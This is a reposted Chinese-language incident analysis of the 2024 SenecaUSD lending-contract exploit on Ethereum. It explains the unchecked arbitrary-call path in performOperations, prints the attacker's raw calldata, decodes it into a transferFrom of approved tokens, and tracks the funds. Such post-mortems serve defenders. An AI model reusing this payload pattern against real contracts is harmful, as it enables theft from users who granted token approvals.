hao86下載站:值得大家信賴的游戲下載站!

首頁 > 區(qū)塊鏈 > 校驗缺失 —— 借貸項目 SenecaUSD 安全事件分析

校驗缺失 —— 借貸項目 SenecaUSD 安全事件分析

時間:2024-03-04 22:21:15
來源:hao86下載
區(qū)塊鏈

【#區(qū)塊鏈# #校驗缺失 —— 借貸項目 SenecaUSD 安全事件分析#】

報道:

北京時間2024年2月28日,據(jù)Beosin trace資金分析平臺顯示,ETH鏈上的SenecaUSD項目合約存在漏洞,黑客利用精心構(gòu)造的calldata參數(shù),調(diào)用transferfrom將授權(quán)到該項目合約的代幣轉(zhuǎn)移到自己地址上,最后兌換為ETH。目前黑客已歸還80%資金,剩余20%用作白帽獎勵。以下是Beosin對此次攻擊事件的分析。

漏洞分析

Seneca項目合約中存在一個performOperations函數(shù),該函數(shù)傳入的參數(shù)來選擇執(zhí)行不同的函數(shù)邏輯。

可以看到,當(dāng)用戶指定action為30時,函數(shù)將選擇調(diào)用_call函數(shù),并且傳入用戶指定的調(diào)用參數(shù)。

_call函數(shù)只檢查了一下調(diào)用地址的黑名單,隨后便直接調(diào)用了用戶指定地址的指定函數(shù),期間并未對調(diào)用者以及調(diào)用參數(shù)做任何限制性檢查。

如果調(diào)用者在這里構(gòu)造非法的調(diào)用數(shù)據(jù),便可能導(dǎo)致攻擊事件的發(fā)生。

攻擊流程

本次事件攻擊者通過多次相同的手法進(jìn)行攻擊,這里以0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286這筆交易為例。我們來看看此次攻擊者是如何構(gòu)造調(diào)用數(shù)據(jù)以及實施攻擊的。

1. 攻擊者直接調(diào)用performOperations函數(shù),并構(gòu)造了以下參數(shù),其中actions傳入了上述的30,將調(diào)用_call函數(shù)。

2. Datas數(shù)據(jù)為:

0x000000000000000000000000b05cabcd99cf9a73b19805edefc5f67ca5d1895e

00000000000000000000000000000000000000000000000000000000000000a0

0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000064

23b872dd0000000000000000000000009cbf099ff424979439dfba03f00b5961

784c06ce00000000000000000000000094641c01a4937f2c8ef930580cf39614

2a2942dc00000000000000000000000000000000000000000000004b180b8661

8eddc3ab00000000000000000000000000000000000000000000000000000000

根據(jù)解析規(guī)則來看,第一個32字節(jié)為callee=0xb05cabcd99cf9a73b19805edefc5f67ca5d1895e。

第二個callData在a0處,100(0x64)字節(jié),則得到

callData為:

0x23b872dd0000000000000000000000009cbf099ff424979439dfba03f00b5961784c06ce00000000000000000000000094641c01a4937f2c8ef930580cf396142a2942dc00000000000000000000000000000000000000000000004b180b86618eddc3ab

3. 查詢函數(shù)選擇器,根據(jù)callData數(shù)據(jù)可知,callData指定的是transferFrom函數(shù)。那本次調(diào)用我們可以解析出來為:

0xb05cabcd99cf9a73b19805edefc5f67ca5d1895e.transferFrom(0x9cbf099ff424979439dfba03f00b5961784c06ce,0x94641c01a4937f2c8ef930580cf396142a2942dc,1385238431763437306795)。

4. 由于在之前的交易中,0x9cbf099ff424979439dfba03f00b5961784c06ce向0x65c210c59b43eb68112b7a4f75c8393c36491f06地址授權(quán)過最大值,所以這里攻擊者通過transferFrom函數(shù)直接將0x9cbf099ff424979439dfba03f00b5961784c06ce的超1385枚PT-rsETH-27JUN2024(0xb05cabcd99cf9a73b19805edefc5f67ca5d1895e)代幣轉(zhuǎn)移到自己的地址上。

5. 隨后攻擊者將PT-rsETH-27JUN2024代幣兌換為ETH。

資金追蹤

在被攻擊后,Seneca部署者向攻擊者喊話,要求攻擊者歸還資金,并表示可以保留20%的資金作為白帽獎勵。

據(jù)Beosin trace資金追蹤平臺顯示,截止發(fā)稿,攻擊者已將被盜1900多枚ETH中的1537枚ETH(80%)歸還到部署者指定地址,剩余370枚ETH(20%)分散保留在攻擊者地址上。

小編推薦下載

相關(guān)文章

更多>>

資訊排行

同類軟件下載